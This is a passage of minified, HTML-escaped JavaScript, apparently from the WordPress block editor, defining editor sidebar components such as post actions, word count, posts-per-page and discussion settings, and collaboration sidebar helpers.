page.&quot;);p(t,{type:&quot;snackbar&quot;})}finally{t?.()}},children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(Hn.__experimentalText,{children:h}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},disabled:i,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:i,accessibleWhenDisabled:!0,children:g})]})]})})};function cf({postType:e,onActionPerformed:t,context:s}){const{defaultActions:n}=(0,d.useSelect)((t=&gt;{const{getEntityActions:s}=$(t(vc));return{defaultActions:s(&quot;postType&quot;,e)}}),[e]),o=(0,d.useSelect)((t=&gt;{if(&quot;page&quot;!==e)return!1;const{getDefaultTemplateId:s,getEntityRecord:n,canUser:o}=t(u.store);if(!o(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;}))return!1;const r=s({slug:&quot;front-page&quot;});if(!r)return!0;const i=n(&quot;postType&quot;,&quot;wp_template&quot;,r);return!i||&quot;front-page&quot;!==i.slug}),[e]),r=(()=&gt;{const{pageOnFront:e,pageForPosts:t}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t,canUser:s}=e(u.store),n=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?t(&quot;root&quot;,&quot;site&quot;):void 0;return{pageOnFront:n?.page_on_front,pageForPosts:n?.page_for_posts}}));return(0,p.useMemo)((()=&gt;({id:&quot;set-as-homepage&quot;,label:(0,fs.__)(&quot;Set as homepage&quot;),isEligible:s=&gt;&quot;publish&quot;===s.status&amp;&amp;&quot;page&quot;===s.type&amp;&amp;e!==s.id&amp;&amp;t!==s.id,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:af})),[t,e])})(),i=(()=&gt;{const{pageOnFront:e,pageForPosts:t}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t,canUser:s}=e(u.store),n=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?t(&quot;root&quot;,&quot;site&quot;):void 0;return{pageOnFront:n?.page_on_front,pageForPosts:n?.page_for_posts}}));return(0,p.useMemo)((()=&gt;({id:&quot;set-as-posts-page&quot;,label:(0,fs.__)(&quot;Set as posts page&quot;),isEligible:s=&gt;&quot;publish&quot;===s.status&amp;&amp;&quot;page&quot;===s.type&amp;&amp;e!==s.id&amp;&amp;t!==s.id,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:lf})),[t,e])})(),{registerPostTypeSchema:a}=$((0,d.useDispatch)(vc));return(0,p.useEffect)((()=&gt;{a(e)}),[a,e]),(0,p.useMemo)((()=&gt;{let e=[...n];if(o&amp;&amp;e.push(r,i),e=e.sort(((e,t)=&gt;&quot;move-to-trash&quot;===t.id?-1:0)),e=e.filter((e=&gt;!e.context||e.context===s)),t)for(let s=0;s&lt;e.length;++s){if(e[s].callback){const n=e[s].callback;e[s]={...e[s],callback:(o,r)=&gt;{n(o,{...r,onActionPerformed:n=&gt;{r?.onActionPerformed&amp;&amp;r.onActionPerformed(n),t(e[s].id,n)}})}}}if(e[s].RenderModal){const n=e[s].RenderModal;e[s]={...e[s],RenderModal:o=&gt;(0,c.jsx)(n,{...o,onActionPerformed:n=&gt;{o.onActionPerformed&amp;&amp;o.onActionPerformed(n),t(e[s].id,n)}})}}}return e}),[s,n,t,r,i,o])}const{Menu:df,kebabCase:uf}=$(Hn.privateApis);function pf({postType:e,postId:t,onActionPerformed:s}){const[n,o]=(0,p.useState)(null),{item:r,permissions:i}=(0,d.useSelect)((s=&gt;{const{getEditedEntityRecord:n,getEntityRecordPermissions:o}=$(s(u.store));return{item:n(&quot;postType&quot;,e,t),permissions:o(&quot;postType&quot;,e,t)}}),[t,e]),a=(0,p.useMemo)((()=&gt;({...r,permissions:i})),[r,i]),l=cf({postType:e,onActionPerformed:s}),m=(0,p.useMemo)((()=&gt;l.filter((e=&gt;!e.isEligible||e.isEligible(a)))),[l,a]);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(df,{placement:&quot;bottom-end&quot;,children:[(0,c.jsx)(df.TriggerButton,{render:(0,c.jsx)(Hn.Button,{size:&quot;small&quot;,icon:r_,label:(0,fs.__)(&quot;Actions&quot;),disabled:!m.length,accessibleWhenDisabled:!0,className:&quot;editor-all-actions-button&quot;})}),(0,c.jsx)(df.Popover,{children:(0,c.jsx)(gf,{actions:m,items:[a],setActiveModalAction:o})})]}),!!n&amp;&amp;(0,c.jsx)(hf,{action:n,items:[a],closeModal:()=&gt;o(null)})]})}function mf({action:e,onClick:t,items:s}){const n=&quot;string&quot;==typeof e.label?e.label:e.label(s);return(0,c.jsx)(df.Item,{onClick:t,children:(0,c.jsx)(df.ItemLabel,{children:n})})}function hf({action:e,items:t,closeModal:s}){const n=&quot;string&quot;==typeof e.label?e.label:e.label(t);return(0,c.jsx)(Hn.Modal,{title:e.modalHeader||n,__experimentalHideHeader:!!e.hideModalHeader,onRequestClose:s??(()=&gt;{}),focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,overlayClassName:`editor-action-modal editor-action-modal__${uf(e.id)}`,children:(0,c.jsx)(e.RenderModal,{items:t,closeModal:s})})}function gf({actions:e,items:t,setActiveModalAction:s}){const n=(0,d.useRegistry)();return(0,c.jsx)(df.Group,{children:e.map((e=&gt;(0,c.jsx)(mf,{action:e,onClick:()=&gt;{&quot;RenderModal&quot;in e?s(e):e.callback(t,{registry:n})},items:t},e.id)))})}const{Badge:_f}=$(Hn.privateApis);function ff({postType:e,postId:t,onActionPerformed:s}){const n=(0,p.useMemo)((()=&gt;Array.isArray(t)?t:[t]),[t]),{postTitle:o,icon:r,labels:i}=(0,d.useSelect)((t=&gt;{const{getEditedEntityRecord:s,getCurrentTheme:o,getPostType:r}=t(u.store),{getPostIcon:i}=$(t(vc));let a=&quot;&quot;;const l=s(&quot;postType&quot;,e,n[0]);if(1===n.length){const{default_template_types:t=[]}=o()??{},s=[I,B].includes(e)?Y({template:l,templateTypes:t}):{};a=s?.title||l?.title}return{postTitle:a,icon:i(e,{area:l?.area}),labels:r(e)?.labels}}),[n,e]),a=Hc(t);let l=(0,fs.__)(&quot;No title&quot;);return i?.name&amp;&amp;n.length&gt;1?l=(0,fs.sprintf)((0,fs.__)(&quot;%1$d %2$s&quot;),n.length,i?.name):o&amp;&amp;(l=(0,Uc.__unstableStripHTML)(o)),(0,c.jsxs)(Hn.__experimentalVStack,{spacing:1,className:&quot;editor-post-card-panel&quot;,children:[(0,c.jsxs)(Hn.__experimentalHStack,{spacing:2,className:&quot;editor-post-card-panel__header&quot;,align:&quot;flex-start&quot;,children:[(0,c.jsx)(Hn.Icon,{className:&quot;editor-post-card-panel__icon&quot;,icon:r}),(0,c.jsxs)(Hn.__experimentalText,{numberOfLines:2,truncate:!0,className:&quot;editor-post-card-panel__title&quot;,as:&quot;h2&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-card-panel__title-name&quot;,children:l}),a&amp;&amp;1===n.length&amp;&amp;(0,c.jsx)(_f,{children:a})]}),1===n.length&amp;&amp;(0,c.jsx)(pf,{postType:e,postId:n[0],onActionPerformed:s})]}),n.length&gt;1&amp;&amp;(0,c.jsx)(Hn.__experimentalText,{className:&quot;editor-post-card-panel__description&quot;,children:(0,fs.sprintf)((0,fs.__)(&quot;Changes will be applied to all selected %s.&quot;),i?.name.toLowerCase())})]})}function bf(){const{postContent:e}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPostType:s,getCurrentPostId:n}=e(vc),{canUser:o}=e(u.store),{getEntityRecord:r}=e(u.store),i=o(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?r(&quot;root&quot;,&quot;site&quot;):void 0,a=s();return{postContent:!(+n()===i?.page_for_posts)&amp;&amp;![I,B].includes(a)&amp;&amp;t(&quot;content&quot;)}}),[]),t=(0,fs._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),s=(0,p.useMemo)((()=&gt;e?(0,Dh.count)(e,t):0),[e,t]);if(!s)return null;const n=Math.round(s/189),o=(0,fs.sprintf)((0,fs._n)(&quot;%s word&quot;,&quot;%s words&quot;,s),s.toLocaleString()),r=n&lt;=1?(0,fs.__)(&quot;1 minute&quot;):(0,fs.sprintf)((0,fs._n)(&quot;%s minute&quot;,&quot;%s minutes&quot;,n),n.toLocaleString());return(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-content-information&quot;,children:(0,c.jsx)(Hn.__experimentalText,{children:(0,fs.sprintf)((0,fs.__)(&quot;%1$s, %2$s read time.&quot;),o,r)})})}var yf=function(){const{postFormat:e}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc);return{postFormat:t(&quot;format&quot;)??&quot;standard&quot;}}),[]),t=Pp.find((t=&gt;t.id===e)),[s,n]=(0,p.useState)(null),o=(0,p.useMemo)((()=&gt;({anchor:s,placement:&quot;left-start&quot;,offset:36,shift:!0})),[s]);return(0,c.jsx)(Cp,{children:(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Format&quot;),ref:n,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:o,contentClassName:&quot;editor-post-format__dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=&gt;(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change format: %s&quot;),t?.caption),onClick:s,children:t?.caption}),renderContent:({onClose:e})=&gt;(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-format__dialog-content&quot;,children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Format&quot;),onClose:e}),(0,c.jsx)(jp,{})]})})})})};function xf(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;modified&quot;)),[]),t=e&amp;&amp;(0,fs.sprintf)((0,fs.__)(&quot;Last edited %s.&quot;),(0,v.humanTimeDiff)(e));return t?(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-last-edited-panel&quot;,children:(0,c.jsx)(Hn.__experimentalText,{children:t})}):null}var vf=function({className:e,children:t}){return(0,c.jsx)(Hn.__experimentalVStack,{className:mr(&quot;editor-post-panel__section&quot;,e),children:t})};const wf={};function Sf(){const{editEntityRecord:e}=(0,d.useDispatch)(u.store),{postsPageTitle:t,postsPageId:s,isTemplate:n,postSlug:o}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t,getEditedEntityRecord:s,canUser:n}=e(u.store),o=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?t(&quot;root&quot;,&quot;site&quot;):void 0,r=o?.page_for_posts?s(&quot;postType&quot;,&quot;page&quot;,o?.page_for_posts):wf,{getEditedPostAttribute:i,getCurrentPostType:a}=e(vc);return{postsPageId:r?.id,postsPageTitle:r?.title,isTemplate:a()===I,postSlug:i(&quot;slug&quot;)}}),[]),[r,i]=(0,p.useState)(null),a=(0,p.useMemo)((()=&gt;({anchor:r,placement:&quot;left-start&quot;,offset:36,shift:!0})),[r]);if(!n||![&quot;home&quot;,&quot;index&quot;].includes(o)||!s)return null;const l=t=&gt;{e(&quot;postType&quot;,&quot;page&quot;,s,{title:t})},h=(0,Ln.decodeEntities)(t);return(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Blog title&quot;),ref:i,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:a,contentClassName:&quot;editor-blog-title-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change blog title: %s&quot;),h),onClick:t,children:h}),renderContent:({onClose:e})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Blog title&quot;),onClose:e}),(0,c.jsx)(Hn.__experimentalInputControl,{placeholder:(0,fs.__)(&quot;No title&quot;),size:&quot;__unstable-large&quot;,value:t,onChange:(0,m.debounce)(l,300),label:(0,fs.__)(&quot;Blog title&quot;),help:(0,fs.__)(&quot;Set the Posts Page title. Appears in search results, and when the page is shared on social media.&quot;),hideLabelFromVision:!0})]})})})}function kf(){const{editEntityRecord:e}=(0,d.useDispatch)(u.store),{postsPerPage:t,isTemplate:s,postSlug:n}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPostType:s}=e(vc),{getEditedEntityRecord:n,canUser:o}=e(u.store),r=o(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?n(&quot;root&quot;,&quot;site&quot;):void 0;return{isTemplate:s()===I,postSlug:t(&quot;slug&quot;),postsPerPage:r?.posts_per_page||1}}),[]),[o,r]=(0,p.useState)(null),i=(0,p.useMemo)((()=&gt;({anchor:o,placement:&quot;left-start&quot;,offset:36,shift:!0})),[o]);if(!s||![&quot;home&quot;,&quot;index&quot;].includes(n))return null;const a=t=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{posts_per_page:t})};return(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Posts per page&quot;),ref:r,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:i,contentClassName:&quot;editor-posts-per-page-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=&gt;(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Change posts per page&quot;),onClick:s,children:t}),renderContent:({onClose:e})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Posts per page&quot;),onClose:e}),(0,c.jsx)(Hn.__experimentalNumberControl,{placeholder:0,value:t,size:&quot;__unstable-large&quot;,spinControls:&quot;custom&quot;,step:&quot;1&quot;,min:&quot;1&quot;,onChange:a,label:(0,fs.__)(&quot;Posts per page&quot;),help:(0,fs.__)(&quot;Set the default number of posts to display on blog pages, including categories and tags. Some templates may override this setting.&quot;),hideLabelFromVision:!0})]})})})}const Cf=[{label:(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;),value:&quot;open&quot;,description:(0,fs.__)(&quot;Visitors can add new comments and replies.&quot;)},{label:(0,fs.__)(&quot;Closed&quot;),value:&quot;&quot;,description:[(0,fs.__)(&quot;Visitors cannot add new comments or replies.&quot;),(0,fs.__)(&quot;Existing comments remain visible.&quot;)].join(&quot; &quot;)}];function Pf(){const{editEntityRecord:e}=(0,d.useDispatch)(u.store),{allowCommentsOnNewPosts:t,isTemplate:s,postSlug:n}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPostType:s}=e(vc),{getEditedEntityRecord:n,canUser:o}=e(u.store),r=o(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?n(&quot;root&quot;,&quot;site&quot;):void 0;return{isTemplate:s()===I,postSlug:t(&quot;slug&quot;),allowCommentsOnNewPosts:r?.default_comment_status||&quot;&quot;}}),[]),[o,r]=(0,p.useState)(null),i=(0,p.useMemo)((()=&gt;({anchor:o,placement:&quot;left-start&quot;,offset:36,shift:!0})),[o]);if(!s||![&quot;home&quot;,&quot;index&quot;].includes(n))return null;const a=t=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{default_comment_status:t?&quot;open&quot;:null})};return(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Discussion&quot;),ref:r,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:i,contentClassName:&quot;editor-site-discussion-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=&gt;(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Change discussion settings&quot;),onClick:s,children:t?(0,fs.__)(&quot;Comments open&quot;):(0,fs.__)(&quot;Comments closed&quot;)}),renderContent:({onClose:e})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Discussion&quot;),onClose:e}),(0,c.jsxs)(Hn.__experimentalVStack,{spacing:3,children:[(0,c.jsx)(Hn.__experimentalText,{children:(0,fs.__)(&quot;Changes will apply to new posts only. Individual posts may override these settings.&quot;)}),(0,c.jsx)(Hn.RadioControl,{className:&quot;editor-site-discussion__options&quot;,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Comment status&quot;),options:Cf,onChange:a,selected:t})]})]})})})}function jf({onActionPerformed:e}){const{isRemovedPostStatusPanel:t,postType:s,postId:n}=(0,d.useSelect)((e=&gt;{const{isEditorPanelRemoved:t,getCurrentPostType:s,getCurrentPostId:n}=e(vc);return{isRemovedPostStatusPanel:t(&quot;post-status&quot;),postType:s(),postId:n()}}),[]);return(0,c.jsx)(vf,{className:&quot;editor-post-summary&quot;,children:(0,c.jsx)(Cu.Slot,{children:o=&gt;(0,c.jsx)(c.Fragment,{children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:4,children:[(0,c.jsx)(ff,{postType:s,postId:n,onActionPerformed:e}),(0,c.jsx)(kp,{withPanelBody:!1}),(0,c.jsx)(pp,{}),(0,c.jsxs)(Hn.__experimentalVStack,{spacing:1,children:[(0,c.jsx)(bf,{}),(0,c.jsx)(xf,{})]}),!t&amp;&amp;(0,c.jsxs)(Hn.__experimentalVStack,{spacing:4,children:[(0,c.jsxs)(Hn.__experimentalVStack,{spacing:1,children:[(0,c.jsx)(sh,{}),(0,c.jsx)(ih,{}),(0,c.jsx)(Th,{}),(0,c.jsx)(qu,{}),(0,c.jsx)(Vu,{}),(0,c.jsx)(sp,{}),(0,c.jsx)(Ip,{}),(0,c.jsx)(Wd,{}),(0,c.jsx)(lh,{}),(0,c.jsx)(Sf,{}),(0,c.jsx)(kf,{}),(0,c.jsx)(Pf,{}),(0,c.jsx)(yf,{}),o]}),(0,c.jsx)(kh,{onActionPerformed:e})]})]})})})})}const{EXCLUDED_PATTERN_SOURCES:Ef,PATTERN_TYPES:Tf}=$(ao.privateApis);function If(e,t){return e.innerBlocks=e.innerBlocks.map((e=&gt;If(e,t))),&quot;core/template-part&quot;===e.name&amp;&amp;void 0===e.attributes.theme&amp;&amp;(e.attributes.theme=t),e}function Bf(e,t){return e.filter(((e,s,n)=&gt;((e,t,s)=&gt;t===s.findIndex((t=&gt;e.name===t.name)))(e,s,n)&amp;&amp;(e=&gt;!Ef.includes(e.source))(e)&amp;&amp;(e=&gt;e.templateTypes?.includes(t.slug)||e.blockTypes?.includes(&quot;core/template-part/&quot;+t.area))(e)))}function Nf(e,t){return e.map((e=&gt;({...e,keywords:e.keywords||[],type:Tf.theme,blocks:(0,x.parse)(e.content,{__unstableSkipMigrationLogs:!0}).map((e=&gt;If(e,t)))})))}function Rf({availableTemplates:e,onSelect:t}){return e&amp;&amp;0!==e?.length?(0,c.jsx)(g.__experimentalBlockPatternsList,{label:(0,fs.__)(&quot;Templates&quot;),blockPatterns:e,onClickPattern:t,showTitlesAsTooltip:!0}):null}function Df(){const{area:e,name:t,slug:s,postType:n,postId:o}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(vc),{getEditedEntityRecord:n}=e(u.store),o=t(),r=s(),i=n(&quot;postType&quot;,o,r);return{area:i?.area,name:i?.name,slug:i?.slug,postType:o,postId:r}}),[]),{editEntityRecord:r}=(0,d.useDispatch)(u.store),i=function({area:e,name:t,slug:s}){const{blockPatterns:n,restBlockPatterns:o,currentThemeStylesheet:r}=(0,d.useSelect)((e=&gt;{const{getEditorSettings:t}=e(vc),s=t();return{blockPatterns:s.__experimentalAdditionalBlockPatterns??s.__experimentalBlockPatterns,restBlockPatterns:e(u.store).getBlockPatterns(),currentThemeStylesheet:e(u.store).getCurrentTheme().stylesheet}}),[]);return(0,p.useMemo)((()=&gt;Nf(Bf([...n||[],...o||[]],{area:e,name:t,slug:s}),r)),[e,t,s,n,o,r])}({area:e,name:t,slug:s});return i?.length?(0,c.jsx)(Hn.PanelBody,{title:(0,fs.__)(&quot;Design&quot;),initialOpen:n===B,children:(0,c.jsx)(Rf,{availableTemplates:i,onSelect:async e=&gt;{await r(&quot;postType&quot;,n,o,{blocks:e.blocks,content:(0,x.serialize)(e.blocks)})}})}):null}function Af(){const{postType:e}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t}=e(vc);return{postType:t()}}),[]);return[B,I].includes(e)?(0,c.jsx)(Df,{}):null}const Mf={document:&quot;edit-post/document&quot;,block:&quot;edit-post/block&quot;},{Tabs:Lf}=$(Hn.privateApis);var Of=(0,p.forwardRef)(((e,t)=&gt;{const{documentLabel:s}=(0,d.useSelect)((e=&gt;{const{getPostTypeLabel:t}=e(vc);return{documentLabel:t()||(0,fs._x)(&quot;Document&quot;,&quot;noun, panel&quot;)}}),[]);return(0,c.jsxs)(Lf.TabList,{ref:t,children:[(0,c.jsx)(Lf.Tab,{tabId:Mf.document,&quot;data-tab-id&quot;:Mf.document,children:s}),(0,c.jsx)(Lf.Tab,{tabId:Mf.block,&quot;data-tab-id&quot;:Mf.block,children:(0,fs.__)(&quot;Block&quot;)})]})}));const{BlockQuickNavigation:Ff}=$(g.privateApis),Vf=[&quot;core/post-title&quot;,&quot;core/post-featured-image&quot;,&quot;core/post-content&quot;];function Uf(){const e=(0,p.useMemo)((()=&gt;(0,h.applyFilters)(&quot;editor.postContentBlockTypes&quot;,Vf)),[]),{clientIds:t,postType:s,renderingMode:n}=(0,d.useSelect)((t=&gt;{const{getCurrentPostType:s,getPostBlocksByName:n,getRenderingMode:o}=$(t(vc)),r=s();return{postType:r,clientIds:n(I===r?&quot;core/template-part&quot;:e),renderingMode:o()}}),[e]),{enableComplementaryArea:o}=(0,d.useDispatch)(ja);return&quot;post-only&quot;===n&amp;&amp;s!==I||0===t.length?null:(0,c.jsx)(Hn.PanelBody,{title:(0,fs.__)(&quot;Content&quot;),children:(0,c.jsx)(Ff,{clientIds:t,onSelect:()=&gt;{o(&quot;core&quot;,&quot;edit-post/document&quot;)}})})}const{BlockQuickNavigation:Hf}=$(g.privateApis);function zf(){const e=(0,d.useSelect)((e=&gt;{const{getBlockTypes:t}=e(x.store);return t()}),[]),t=(0,p.useMemo)((()=&gt;e.filter((e=&gt;&quot;theme&quot;===e.category)).map((({name:e})=&gt;e))),[e]),s=(0,d.useSelect)((e=&gt;{const{getBlocksByName:s}=e(g.store);return s(t)}),[t]);return 0===s.length?null:(0,c.jsx)(Hn.PanelBody,{title:(0,fs.__)(&quot;Content&quot;),children:(0,c.jsx)(Hf,{clientIds:s})})}function Gf(){const e=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t}=e(vc);return t()}),[]);return e!==B?null:(0,c.jsx)(zf,{})}var $f=function(){const{hasBlockSelection:e}=(0,d.useSelect)((e=&gt;({hasBlockSelection:!!e(g.store).getBlockSelectionStart()})),[]),{getActiveComplementaryArea:t}=(0,d.useSelect)(ja),{enableComplementaryArea:s}=(0,d.useDispatch)(ja),{get:n}=(0,d.useSelect)(C.store);(0,p.useEffect)((()=&gt;{const o=t(&quot;core&quot;),r=[&quot;edit-post/document&quot;,&quot;edit-post/block&quot;].includes(o),i=n(&quot;core&quot;,&quot;distractionFree&quot;);r&amp;&amp;!i&amp;&amp;s(&quot;core&quot;,e?&quot;edit-post/block&quot;:&quot;edit-post/document&quot;)}),[e,t,s,n])};const{Tabs:Wf}=$(Hn.privateApis),Zf=p.Platform.select({web:!0,native:!1}),Yf=({tabName:e,keyboardShortcut:t,onActionPerformed:s,extraPanels:n})=&gt;{const o=(0,p.useRef)(null),r=(0,p.useContext)(Wf.Context);return(0,p.useEffect)((()=&gt;{const t=Array.from(o.current?.querySelectorAll(&#039;[role=&quot;tab&quot;]&#039;)||[]),s=t.find((t=&gt;t.getAttribute(&quot;data-tab-id&quot;)===e)),n=s?.ownerDocument.activeElement;t.some((e=&gt;n&amp;&amp;n.id===e.id))&amp;&amp;s&amp;&amp;s.id!==n?.id&amp;&amp;s?.focus()}),[e]),(0,c.jsx)(Bu,{identifier:e,header:(0,c.jsx)(Wf.Context.Provider,{value:r,children:(0,c.jsx)(Of,{ref:o})}),closeLabel:(0,fs.__)(&quot;Close Settings&quot;),className:&quot;editor-sidebar__panel&quot;,headerClassName:&quot;editor-sidebar__panel-tabs&quot;,title:(0,fs._x)(&quot;Settings&quot;,&quot;panel button label&quot;),toggleShortcut:t,icon:(0,fs.isRTL)()?Yi:qi,isActiveByDefault:Zf,children:(0,c.jsxs)(Wf.Context.Provider,{value:r,children:[(0,c.jsxs)(Wf.TabPanel,{tabId:Mf.document,focusable:!1,children:[(0,c.jsx)(jf,{onActionPerformed:s}),(0,c.jsx)(gu.Slot,{}),(0,c.jsx)(Uf,{}),(0,c.jsx)(Gf,{}),(0,c.jsx)(Af,{}),(0,c.jsx)(mh,{}),(0,c.jsx)(of,{}),n]}),(0,c.jsx)(Wf.TabPanel,{tabId:Mf.block,focusable:!1,children:(0,c.jsx)(g.BlockInspector,{})})]})})};var qf=({extraPanels:e,onActionPerformed:t})=&gt;{$f();const{tabName:s,keyboardShortcut:n,showSummary:o}=(0,d.useSelect)((e=&gt;{const t=e(il.store).getShortcutRepresentation(&quot;core/editor/toggle-sidebar&quot;),s=e(ja).getActiveComplementaryArea(&quot;core&quot;);let n=s;return[Mf.block,Mf.document].includes(s)||(n=e(g.store).getBlockSelectionStart()?Mf.block:Mf.document),{tabName:n,keyboardShortcut:t,showSummary:![I,B,R].includes(e(vc).getCurrentPostType())}}),[]),{enableComplementaryArea:r}=(0,d.useDispatch)(ja),i=(0,p.useCallback)((e=&gt;{e&amp;&amp;r(&quot;core&quot;,e)}),[r]);return(0,c.jsx)(Wf,{selectedTabId:s,onSelect:i,selectOnMove:!1,children:(0,c.jsx)(Yf,{tabName:s,keyboardShortcut:n,showSummary:o,onActionPerformed:t,extraPanels:e})})},Kf=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z&quot;})});const Qf=&quot;edit-post/collab-history-sidebar&quot;,Xf=&quot;edit-post/collab-sidebar&quot;,Jf=[Qf,Xf];function eb(){}const tb=[&quot;#3858E9&quot;,&quot;#9fB1FF&quot;,&quot;#1D35B4&quot;,&quot;#1A1919&quot;,&quot;#E26F56&quot;,&quot;#33F078&quot;,&quot;#FFF972&quot;,&quot;#7A00DF&quot;];function sb(e){return tb[e%tb.length]}function nb(e,t,s){if(!t)return;const n=e?`[role=treeitem][id=&quot;comment-thread-${e}&quot;]`:&quot;[role=treeitem]:not([id])&quot;,o=s?`${n} ${s}`:n;return new Promise((e=&gt;{if(t.querySelector(o))return e(t.querySelector(o));let s=null;const n=new window.MutationObserver((()=&gt;{t.querySelector(o)&amp;&amp;(clearTimeout(s),n.disconnect(),e(t.querySelector(o)))}));n.observe(t,{childList:!0,subtree:!0}),s=setTimeout((()=&gt;{n.disconnect(),e(null)}),3e3)})).then((e=&gt;e?.focus()))}var ob=function({avatar:e,name:t,date:s,userId:n}){const o=!!e,r=(0,v.getSettings)(),{currentUserAvatar:i,currentUserName:a,currentUserId:l,dateFormat:p=r.formats.date}=(0,d.useSelect)((e=&gt;{const{canUser:t,getCurrentUser:s,getEntityRecord:n}=e(u.store),r=t(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?n(&quot;root&quot;,&quot;site&quot;):void 0;if(o)return{dateFormat:r?.date_format};const{getSettings:i}=e(g.store),{__experimentalDiscussionSettings:a}=i(),l=a?.avatarURL,c=s();return{currentUserAvatar:c?.avatar_urls?.[48]??l,currentUserName:c?.name,currentUserId:c?.id,dateFormat:r?.date_format}}),[o]),m=(0,v.getDate)(s),h=(0,v.dateI18n)(&quot;c&quot;,m),_=Math.floor((new Date-m)/864e5)&lt;30?(0,v.humanTimeDiff)(m):(0,v.dateI18n)(p,m),f=(0,v.dateI18n)((0,fs._x)(&quot;F j, Y g:i a&quot;,&quot;Note date full date format&quot;),s);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;img&quot;,{src:e||i,className:&quot;editor-collab-sidebar-panel__user-avatar&quot;,alt:(0,fs.__)(&quot;User 